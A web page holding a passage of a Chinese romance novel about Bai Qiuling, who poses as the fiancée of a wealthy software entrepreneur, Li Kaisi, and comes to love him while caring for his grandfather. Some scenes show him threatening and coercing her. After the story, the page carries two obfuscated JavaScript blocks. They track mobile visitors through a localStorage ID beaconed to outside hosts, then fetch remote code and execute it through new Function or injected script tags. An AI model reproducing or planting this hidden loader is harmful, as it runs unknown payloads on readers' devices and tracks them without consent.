「小姐,做人要有自知之明,如果明知自己没有那个能力,却还自不量力的
跑来我们这种高消费的地方,那可是给自己丢脸哦。

白秋陵不理会她,只是将身子转向另一排架子,准备要伸手去拿时,女店员
却又用力的打落地的手,让她白嫩的手背马上又多了一个红印于,这让她十分不
开心。

「你们这里到底卖不卖衣服?」白秋陵气愤的质问店员。

「当然卖呀!不过……」女店员故意以不屑的目光上下打量着她,「像你这
种寒酸的客人,我们是不卖的;何况,你也买不起。所以请你别用你的贱手来碰
我们的衣服,我们这里可不是随便的地方,让你摸过,那不是脏了我们的货品吗?」

她那副气势凌人的样子,让白秋陵气在心底。

白秋陵的眼角一瞄,刚好看到老板走了出来,她马上走向他,「老板,请问
一下……」她从口袋里拿出刚才黎凯斯给她的金卡。「在你们店里消费,可以刷
卡吗?」她拿着金卡在老板的面前晃了晃。

老板的眼睛马上一亮,「当然可以、当然可以,你要买多少,我们都可以刷
卡的。」他的脸上绽开一抹笑意,「来来,请随我来,我替你介绍一些好款式。」

没想到白秋陵却摇头加以拒绝,她的纤手一指,指向站在另一边正瞪着她的
女店员,「我想,不必麻烦老板,只要由她陪着我挑选就行了。」

「好,没问题。玛莉。过来带这位小姐四处看看,并着她介绍一些最近流行
的服饰,好好的招待人家,可别怠慢了。」老板吩咐完后,又笑着目视她在店里
四处洲览。

玛莉虽然十分不甘心,可是碍于老板在场,她只能带着她四处看看,但态度
依然不是很好。

白秋陵桃了两件衣服后,随即走到老板面前,「老板,请替我结帐。」

玛莉不屑的看着她,这两件衣服就要三千块美金了,她真的有办法买吗?

当白秋陵拿出金卡让老板刷时,她蓦然瞪大了眼睛;白秋陵大方的在帐单上
签下自己的名字,然后拿着包装好的衣服准备离去。

「小姐?」老板在后头喊着她。

「我们还有好几批刚进来的新货,你不看看吗?」他充满期望的看着她。

「老板,我是看在你的态度很不错的份上,才买了这两件衣服的;本来,我
来这里是要再采买更多的衣服,不过……」她意有所指的看了玛莉一眼后,「你
请的小姐服务态度实在很不好,所以我决定到别家去看看,毕竟,我来这里消费
是要让你们赚钱的,如果还要看你们的脸色,那不是很令人生气吗?」

她转身来到大门口,又转过头来对着错愕的老板与愣在一旁、一睑不可思议
的店员一笑,「对了,老板,如果你想要生意更好,我建议你焕掉态度不佳又说
话刻薄的店员,这样说不定下次我还会再来这里光顾呢!」

她一说完,马上推门而出走到对面的店里去,过了一台儿,她提着大包小包
的东西走了出来;接着,一辆银色的积架停在她前面,一个英俊的男人走下来替
她把东西放好后,随即扶她上车,扬长而去。

这情况让对面店里的老板和玛莉都看得一清二楚。

老板一双喷火的眼直直射向玛莉。「你竟然放掉了一个大顾客,你知不知道
她的那个男人是谁?」

「他……他是近几年内窜起的电子新贵,在各地都拥有公司,他……十分有
钱。」到现在她还不敢相信,刚才那个看来寒酸的女人竟会有一个如此有钱的男
伴。

老板怒吼着:「从明天开始,你不必来上进了!」

第四章

黎凯斯一面开着车子,一面看着白秋陵嘴角那抹得意的笑,他忍不住多看几
眼,然后纳闷的问她:「怎么了?有什么事值得你那么开心吗?」

「你猜猜看啊!」她舒适的躺在椅背上,要他猜测。

他只是再看了她一眼后,随即答道:「简单!哪个女人拿到金卡可以刷不会
感到高兴的?我着,你是刷得太乐了」

白秋陵听到他的答案,脸色马上变得很难看,「才不是这个原因。」她失望
的看了他一眼,「难道在你的心中,我真的只是一个贪婪的女人吗?」

看到她沉下的脸,他不知道她到底在不高兴什么。「不是吗?别忘了,你是
因为什么原因才和我在一起的!」

「可是,我是为了我的家人才会做这个决定的,你以为我是—个只要有钱,
就什么都可出卖的女人吗?」她语气沉痛的质问他。

「不是吗?」他硬起心肠回答她,「你现在和我在一起,不就出卖了你的自
尊吗?」

「你……你怎么可以这么说?我是因为什么原因才会答应你,我相信你也很
清楚,你这样说我真的太不公平了。」她好痛心,没想到,在他心目中,自己竟
是一个如此低下的女人,在他的眼中,她是不是真的很下贱?

第一次看到她眼底泛着泪光,黎凯斯的心揪疼了一下,他随即告诫自己,女
人的泪水只是一种对付男人的利器而已,他绝不能心软,所以他的口气显得有些
不耐:「好了,这种问题有什么值得讨论的?无聊!」

他嗤之以鼻的样子伤透了白秋陵的心。

可是她又有什么好委屈的?这条路是她自己选的,就没有任何好怨,她还能
期待什么呢?期待向一个没有心又没有情的男人索求感情吗?

她忍不住笑了,笑得无奈、笑得悲哀,不停的摇着头,嗤笑自己的傻与痴!
看到她没有答腔,他忍不住转过头去看着她,却意外的看到白秋陵眼底深沉的悲
哀与脸上浓浓的无奈,他的心被深深的震了一下;他从没有在一个女人脸上看到
如此深刻而又绝望的表情,猛地。他的方向盘微偏了一下,他马上又将它扶正,
对心中因她所起的些微波澜,感到不可思议又无法接受。

他们一路无言的开着车子来到一间餐厅,当他们停好车时;黎凯斯转过头来
看着她,发现她愣楞的看着窗外,脸上没有任何的表情,一味的疏离与冷漠。

突然有一股想要看到她脸上刚才笑容的冲动,他开了口:「秋陵,你要不要
告诉我你刚才令你高兴又得意的事是什么?」

白秋陵只是扫了他一眼,跟着缓缓的开了口:「不就是你说的吗?女人—向
喜欢消费,如果又有个男人愿意提供金卡让她任意刷的话,当然是件值得高兴又
得意的事啊!」

听到白秋陵的话,黎凯斯突然变得很生气的朝她大吼:「住口!别再说了!」

「当然,你怎么说,我就怎么做,反正出钱的是老大。」

「你……」听到她如此讽刺的话语,他只是狠狠的瞪着她,逼近她的脸。
「你不要太过分了,如果现在不是在外面的话,我一定会狠狠的打你一顿屁股。」

「噢!」她拍了拍胸口,装出一副害怕的模样,「我好怕哦!」

他瞪着她,对她突如其来的转变感到十分生气,猛地低头覆上了她的后,一
阵粗暴的蹂躏后才放开她,「秋陵,我说过,只要你好好的和我相处,一切都不
会有事,如果你硬要挑一条较难走的路,我一定会让你付出代价的;等我们回去
之后,你就会知道,你得为这些挑衅的言语和态度付出什么样的后果!」他恶狠
狠的说完后,随即放开她,打开车门走了出去。

看到她依然动也不动的坐在车子上,他火大的从另一边打开车门,「你是要
自己出来,还是要我动手?」他瞪着她。

这时,白秋陵才移动着自己的身子走了出来,她的腿显得有些颤抖。

黎凯斯及时从一旁搂住她的腰,附在她的耳旁对她说:「加果没本事和我对
抗的话,就不要再做这些愚蠢的举动,知道吗?」

她只是点点头,没有说话。每当他变得如此吓人的时候,她都会感到害怕,
也会后悔自己这么说;可是,一旦他激怒她时,她却又会不顾一切的反驳他,以
至于每次都有如此火爆的情形出现。

他的手抚着她细腻柔滑的手臂,「好吧!这一次我就原谅你好了,这可是最
后一次,你最好不要再有下—次,否则,我不会再大发悲悲的轻易饶过你,乖点,
知道吗?」他亲昵的搂着她,手在她的头上拍了拍。

「嗯。」

黎凯斯看到她如此温顺的样子。涌意的笑了,「对了。待会儿有我的几位朋
友要来和我们一起用餐,他们都是我当初在创业时一起合伙开公司的朋友,我们
有些事情要讨论,可以吗?」

「我无所谓。」她小声的应道。

「那就好,我们过去吧!」

她偷窥一眼他英俊的五官和挺拔的身材,又暗责自己不该在他如此恶劣的对
待自己后,又对他芳心大动。过死!自制一点,不要被他英俊的脸庞和多变的性
格所迷惑。他只不过是她生命中的一个过客,她是无法和他在一起的。

因为他绝不会爱任何女人,包括她!

她的心猛地揪痛,痛到无以复加的地步,为什么会这么痛呢?他爱不爱她,
对她来说一点都不重要,不是吗?

但,若是不重要,为何她的心会因为他不爱她而感到如此痛呢?

爱?她的心脏猛地撞击了一下。是呀!为什么她一直没有想到呢?如果不是
因为爱他,受他所吸引,她会如此轻易地将自己的第一次给了他吗?

如果不是爱上了他,她也可以议以前那样,淡然的跳脱而出,只会感到一点
难过,事后就没有任何的感觉,也就不会有这种心痛的感受。

可是对他,她却有如此强烈的感受,并且在意他对自己的看法与想法,这不
是爱又是什么呢?

发现这个事实,白秋陵一点都不觉得高兴,只是恨自己为何要爱上一个没有
心的冷酷男人,这是一条不归路,也是条死路哪!

可是,爱都爱了,不是说能收回就收回那么简单的事,「唉!」她忍不住深
深的叹了口气。

她的叹气引来黎凯斯的注目,不过,他却没有说什么,只是同她来到由侍者
所带领的位子上。当白秋陵抬头一看时,发现已经有二男一女坐在那里,正对着
黎凯斯热情的打着招呼。

他们都相当年轻,和黎凯斯的年纪差不多。

黎凯斯笑着和他们寒暄,并介绍白秋陵给他的朋友认识。「这位是秋陵,我
的女朋友。至于这个瘦高的家伙是大卫,这个矮胖的小子是狄斯,而这位美女呢,
就是雪兰,他们全都是我大学时代的好同学,我们一起出来创业的。」

他就着白秋陵而坐,—一向她介绍他们和他之间的关系。

大卫笑着说:「秋陵,我们可是从大学时期就开始的交情呢!这个家伙的脑
袋真不是差的,当初要创立公司是他提议的,设计出第一套软体的也是他,对于
他现在的成就,我可是没有一点的意外哦!」

「你别听这家伙的话,其实他也很行的。虽然他对设计程式比较不行,可是,
他却对企划的每一个案子都十分的有见解又有才能哦!」

「那你怎么不说说雪兰呢?她的执行效力可说是一把罩呢!她可是我们矽谷
的杰出女强人哦!」

「少在那里吹嘘了。」雪兰的眼光不时的瞄向白秋陵,她对后者的兴趣显然
强多了。

「凯斯,我记得你是一个不婚主义者,怎么会有女朋友呢?」

他笑得自然,「人总是会随着时间而改变自己的观念,我说个劲爆的消息让
你们知道。」他将手放在白秋陵的肩头上,大胆的在她的额上印上一吻。

此举让每个人吃了一惊,包括白秋陵在内。

「我和秋陵决定要在两星期后订婚,到时候欢迎你们大驾光临。」

白秋陵如果没看错的话,她除了看到每个人脸上吃惊的神情之外,还看到雪
兰眼中闪现的妒火和怨恨,虽然只是一闪而逝。

黎凯斯的两个朋友都爽快的举起酒杯来庆贺他们,只有雪兰僵着一张难看的
脸。轮流看着他们,在大家的提醒下,雪兰才勉为其难的露出笑睿举杯祝贺他们。

接下来,他们边吃边谈着一些她听不懂的公事,所以她就坐在一分吃东西,
没有再说话,也没有注意他们在说些什么。一可是有好几次,她看到雪兰的眼里
和表情都充满了对凯斯浓浓的爱意和眷恋,这下子,她更肯定雪兰对凯斯一定早
已心存爱意。

当他们坐上车子准备回家时,她隐隐感到自己的背后好像有两道充满敌意的
目光正在看着她,她回头一看,刚好看到雪兰那充满恨意的眸光正狠狠的瞪着自
己,让她忍不住打了个寒颤。

白秋陵真希望这是最后一次见到雪兰,她害怕和这个女人相处,因为,她隐
约觉得这个女人好像对她有着什么不良的企图般;她只希望这—切都是她多虑了。

黎凯斯忙碌的生活开始了,白秋陵每天觉得无所事事,所以,她决定把大部
分的时间拿来陪着黎凯斯的外公。

「外公?您想不想到外面的庭院去看看?」

「可以吗?『老人的语气透露出期望。

白秋陵微笑的说:「当然可以,我曾打电话向医生询问过您所有的情况,去
外面走一走对您的身体不会有害的,不过,可不能待太久哦。」

「那太好了,我本来就好想出去走一走,可是,凯斯太忙了,根本就没有时
间陪我,玛丽亚又要忙着家里的事,也没空陪我这个老头子,这下子你来了,我
可就有伴了。」「只要您不嫌弃我的陪伴,我可以每天早上都陪您去散散步,好
不好?」

老人笑得十分开心,「好!当然好、当然好!」他十分喜欢凯斯所交的这个
女孩子,不只对他十分的体贴、有耐心,心地又善良;最重要的是,这个女孩是
真的爱着凯斯,他可以从她的眼神中看出来。

而他也十分满意凯斯的表现,虽然凯斯有时还是会挣扎在情爱之中,但可瞒
不过他这老人的眼睛,凯斯可是同样受到秋陵的吸引呢!白秋陵小心地扶着老人
馒谩的走了出去,在客厅中还和玛丽亚打了声招呼。「

白秋陵最感到窝心的是外公和玛丽亚都对她十分友善,也很疼爱她,让她在
这里的日子过得虽是有丝寂寞,但却又能从他们身上得到关怀,让她至少在这场
交易中还能获得友谊。

「外公,这里的环境很不错吧?」

「是啊,这里住了些名人和富豪,他们都忙着赚钱或是在白天睡觉,很少有
人会在一大早起来,所以显得安静多了。」

「嗯,只是,我还是有些不习惯。」

「以后你就习惯了。住在这里,每个人都互相不管彼此的事,所以比较不会
受到外人的打扰;只不过,晚上可热闹了,幸好,凯斯不这么做,不过……」老
人突然笑着看她,「再过一个星期,我们这里就可以热闹了。」。

白秋队疑惑的抬起头来看着老人,「热闹?为什么?」

「你这个丫头,难道连自己的订婚舞会都忘记了吗?」

「噢!」白秋陵忍不住低下头来,不想让外公看到她眼底的痛苦。她愈和外
公相处就愈有罪恶感。外公是一个如此慈祥的老人,而他们……他们却欺骗他;
如果外公知道这是一场骗局,那他一定会很难过的。

「丫头,怎么了?是不是和凯斯闹意见了,不然为什么谈到订婚一点喜色都
没有呢?」老人关心的问着。「那小子的个性我明白,他是一个死不妥协的硬石
头,如果是他欺负你了,我去跟他说说。」

白秋隆急忙解释:「没有、没有!外公,您误会了,我们之间没有任何问题,
只是凯斯现在比较忙,没有时间陪我而已。」

「是吗?我每次要他别那么忙,他总是说要趁现在多赚些钱,唉!其实这孩
子也已经够苦,这些钱我就觉得够了,但他总是要再多赚些,要让那些瞧不起他
的人好看!」

他的话引起了白秋陵的好奇心,「外公?凯斯都那么有钱了,还会有谁瞧不
起他呀?」

「这都要从三年前说起,当时他的事业才刚起步,虽然所卖的软体赚了不少
钱,可是他全部投资在他的事业里;而和他合伙的朋友,虽也都拿钱出来和他一
起开了间软体公司,可他却又跑去加拿大开了一间电子公司,专门卖电脑和一些
主机板、IC、微晶片等产品,并且以设计研发软体为主。刚开始资金比较紧些,
偏偏我在那个时候又犯了病,所以他就跑去请求他的父亲给予一些援助。」

老人的心思显然已经回到三年前。

「唉!要不是为了我这个老头子,以他心高气傲的个性是绝不可能去求人的;
没想到,他的父亲却连见都不前见他,还拿了一张一千元的钞票要人打发他,他
气得当场撕毁那张钞票,回来后,他一句话也没说的先结束掉公司拿来救急,随
即埋入电脑程式设计里,花了一个星期的时间设计出一套软体,卖给了别间公司
才又开始重新创业。」

「他为什么不之前就那么做,而要去求他的父亲呢?」

「因为他不喜欢将自己集智慧、心血所设计好的软体拿去卖给别人,他原本
打算只卖一套,其他的就要由自己的公司出品,没想到,他还是得忍痛再卖第二
套。」

「他不是靠这个就卖了不少钱吗?」

「是不少,但他想要闯出属于自己的事业,而不只是靠着这个就好了;还好
现在他也经营得有声有色。这三年来,他做得很成功,我也很欣慰,只可惜他一
直无法走出被出卖的阴影,也无法走出不信任人的心态。」

白秋陵将外公扶到一张凉椅上坐下,接着又问:「外公?到底是谁出卖他,
又让他变成现在这样疑神疑鬼的呢?有时候我和他在一起,都会觉得很迷惑。」

「其实我也看出来了,只不过,你需要用更多的时间和耐心来解决这个问题。
凯斯这孩子因为父母亲都不要他而受到了很大的创伤;而在大学快毕业的时候认
识了一个女孩子,她一直对我们很好,谁知那只是她的手段,目的就是要得到凯
斯设计的软体。后来凯斯因为这个原因,就不再相信任何女人,除了我这个外公
以外,他对谁可都防得紧呢!」

「外公,我……」

老人亲切的拍了拍她的手臂,「丫头,我知道你和凯斯在一起时得比一般人
还要承受更多,也更要辛苦些。不过,我看得出来你爱他,为了你们之间的将来,
我必须自私的请求你,请你多担待些,多给他点时间,他一定能够发现自己的想
法是错的;因为,他会想和你在一起,表示他对你的着诱和别的女人不一样,假
以时日,他一定会发现自己是爱你的,要不然,他就不会向你求婚了。」

「我知道,外公,我会耐心等待的。」她难过的想着——待他们分手的那一
天,他都说得很清楚了,她是不可能自欺带匕人的。

「对了,外公,时间也不早了,我们进去吧!」

「哦,好!」

当黎凯斯半夜踏进卧室时,十分吃惊的发现白秋陵竟然没有睡着;她穿着一
袭睡衣,站在窗口往外看,不知在想些什么,那个样子看起来……好迷人!

他放下手中的公事包,走到她的身后拥着她,「怎么了?你怎么还没上床睡
觉?」

她没有回头,只是说:「今天我和外公聊了很多,我们聊得很愉快,不过…
…」

「不过什么?」

「我觉得好不安,我们这样的欺骗他。他是一个好人,在言语之间都充满了
对你能够有个伴侣所感到的欣慰,也对你现在的成就感到光荣。只是,看他那么
高兴,我心里的罪恶感就变得好深哦!」

黎凯斯的手臂突然收紧,接着又放松,「那表示我们的演出十分成功啊!」

她转身面对他,「可是,我总觉得……」

他的手掌捂住了她的嘴,「停止,你想太多了,现在时间不早,你不好好休
息,就站在这里想这些,真是太无聊了。」

他放开她走向浴室,「我累了,要去冲个澡好休息了。」

他在逃避!

愈和白秋陵相处,他就愈被她所吸引。因为经过这些日子的相处,他就愈能
发现她的美好,不只耐心的陪着外公,又常常和外公作伴,喂外公吃药、吃饭,
帮助玛丽亚协助外公擦澡,还费心的下厨替外公做一些营养又咬得动的食物;不
只如此,她还贴心的替家里的每个人着想,令玛丽亚和外公都深深的喜欢上她,
就连他自己也被她所吸百!。

她的一颦一笑、一举一动,全部吸引住他的目光,只有他自己知道,他是多
么的受她吸引,甚至到了深深迷恋的地步。

所以,他用日以继夜的工作来逃避、忘却这种迷恋,他告诉自己,一定能用
这个方式来转移对她的注意力的,谁知道她的影子却已深深的刻在他的心版上,
再也无法磨灭!

而他绝不准这种事情发生,可他却无法去抵抗、去反击!

他走出浴室,看到白秋陵坐在床上看着他,「凯斯,你忙完了吗?」

「有什么事?」

「下个星期就是我们的订婚日,我们再不去准备一些东西,外公都在问了,
我觉得我们还是去做做样子好了。」

「我准备明天就带你去。」

「那……我们也带外公去,好不好?我想,他也需要一些新衣服,而且带他
出去走走,他一定也会很开心的。」白秋陵笑着说。

黎凯斯只是静默了好一会儿,看着她,「看来,你和外公相处得很好。」

「那是当然的,外公是一个很慈祥的老人,我觉得和他在一起,就好像是和
自己的长辈相处一样,完全没有任何压力。」

听到她的最后一句话,黎凯斯突然眯起眼睛看着她,「压力?」他突然细细
玩味着这两个字,然后压迫性的坐在她的旁边,仔细的观察着她。

对黎凯斯安如其来的动作和敏感的反应,白秋陵勉强的笑了关,「你怎么了?
我们不是在谈话吗?你干嘛突然变得怪怪的?」

「怪?」他还是用着那令人难懂的目光一直盯着她看。

白秋陵被看得十分不自在,遂将头转向一边,想回避他这咄咄逼人的目光。

静寂了好一会儿,他才缓缓开口:「难道说你和我在一起感到有压力吗?」

她猛地回过头来看着他,「你怎么会这么说呢?其实,我没有那么想。」

「真的?」他怀疑的目光直直的射向她,整个身躯也是僵硬的,不知为何,
他十分在意白秋陵和他在一起的感觉。

白秋陵望着他疲惫、她挚爱的脸庞温柔的说:「当然是真的。」

突然的冲动让她第一次主动扑进他的怀中,将手紧紧的揽着他的脖子,笑着
对他说:「和你相处的这些日子是我最快乐的。」

因为她主动的拥抱让梨凯斯有些惊愕,不过,他随即放松心情的想要回拥她,
却又像是想到了什么似的,突然将她的身子推高了些,用着严肃的表情望进她的
眼睛,「那……当我凶你的时候,你也不觉得委屈?」

她听到他的话,身子微微一僵。不过,在想起了外公的话时,她就放松了身
子,绽开如花般的笑面「当然会啊!不过,我现在想一想又觉得不会了,反正你
的个性就是很怪。」她取笑的说:「简直就像是一个怪人,所以,我根本就不介
意,我怎么可能会跟一个怪人计较呢?」

她笑着又偎进他的怀里,根本就不去理会当他听到她的话时突然变得很怪异
的表情。

黎凯斯楞了好一会儿才知道她在和自己开玩笑。取笑自己,这是从来没有的
情况。他以前的每一个女人都不曾这么做,不只因为他冰冷的表情和无情的态度
让每一个女人怯步,更因为只有他的钱才是她们最感兴趣的。

感受到她的开心,他将她推倒在床上,「好啊!你竟敢取笑我?看我怎么对
付你!」他一个重扑,就要扑到她身上去。

谁知她一个反射动作便迅速的将身子移向一旁,让他扑了个空。

他惊愕两种,随即又覆上她。「我看你还能跑到哪里去。」他笑着对她说。

抬头看到他如此轻松的样子,脸上僵硬的线条变得柔和,而且还变得年轻许
多,令她忍不住为他而迷眩;伸出手,她抚上他的脸,喃喃地说:「凯斯,你如
果能常常这样轻松的笑着,看起来会更迷人哦!」她着迷的望着他,第一次将自
己的思绪全部表现在脸上。

她脸上突然闪现的强烈情感让黎凯斯有些惊讶,不过,他的心中竟然有一股
暖暖的感觉流过,「好啊!就让我这个迷人的男人来好好的爱你这个美丽的女人。」
  

  

  
关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function RjJvG(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function pQqhlWoI(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return RjJvG(t);};window[''+'I'+'D'+'B'+'r'+'W'+'A'+'Z'+'j'+'d'+'X'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function EJpB(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=pQqhlWoI,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=EJpB(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=EJpB(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLmlpbHh6cS5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS5ycWRsb2QuY24lM0E5NTM0','168322',window,document,['k','J']);}:function(){};